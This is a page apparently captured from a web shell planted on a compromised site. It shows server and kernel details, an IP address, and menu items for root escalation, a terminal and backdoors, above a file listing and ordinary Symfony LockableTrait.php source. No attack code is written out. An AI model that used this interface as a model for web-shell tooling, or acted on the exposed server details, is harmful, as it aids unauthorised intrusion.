Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 3.145.80.161
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
wb /
vendor /
symfony /
console /
Command /
Delete
Unzip
Name
Size
Permission
Date
Action
Command.php
20.02
KB
-rw-rw-r--
2022-07-22 10:42
CompleteCommand.php
8.36
KB
-rw-rw-r--
2022-07-22 10:42
DumpCompletionCommand.php
4.45
KB
-rw-rw-r--
2022-07-22 10:42
HelpCommand.php
3.04
KB
-rw-rw-r--
2022-07-22 10:42
LazyCommand.php
5.26
KB
-rw-rw-r--
2022-07-22 10:42
ListCommand.php
3.06
KB
-rw-rw-r--
2022-07-22 10:42
LockableTrait.php
1.68
KB
-rw-rw-r--
2022-07-22 10:42
SignalableCommandInterface.php
682
B
-rw-rw-r--
2022-07-22 10:42
Save
Rename
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Command; use Symfony\Component\Console\Exception\LogicException; use Symfony\Component\Lock\LockFactory; use Symfony\Component\Lock\LockInterface; use Symfony\Component\Lock\Store\FlockStore; use Symfony\Component\Lock\Store\SemaphoreStore; /** * Basic lock feature for commands. * * @author Geoffrey Brier <geoffrey.brier@gmail.com> */ trait LockableTrait { /** @var LockInterface|null */ private $lock; /** * Locks a command. */ private function lock(string $name = null, bool $blocking = false): bool { if (!class_exists(SemaphoreStore::class)) { throw new LogicException('To enable the locking feature you must install the symfony/lock component.'); } if (null !== $this->lock) { throw new LogicException('A lock is already in place.'); } if (SemaphoreStore::isSupported()) { $store = new SemaphoreStore(); } else { $store = new FlockStore(); } $this->lock = (new LockFactory($store))->createLock($name ?: $this->getName()); if (!$this->lock->acquire($blocking)) { $this->lock = null; return false; } return true; } /** * Releases the command lock if there is one. */ private function release() { if ($this->lock) { $this->lock->release(); $this->lock = null; } } }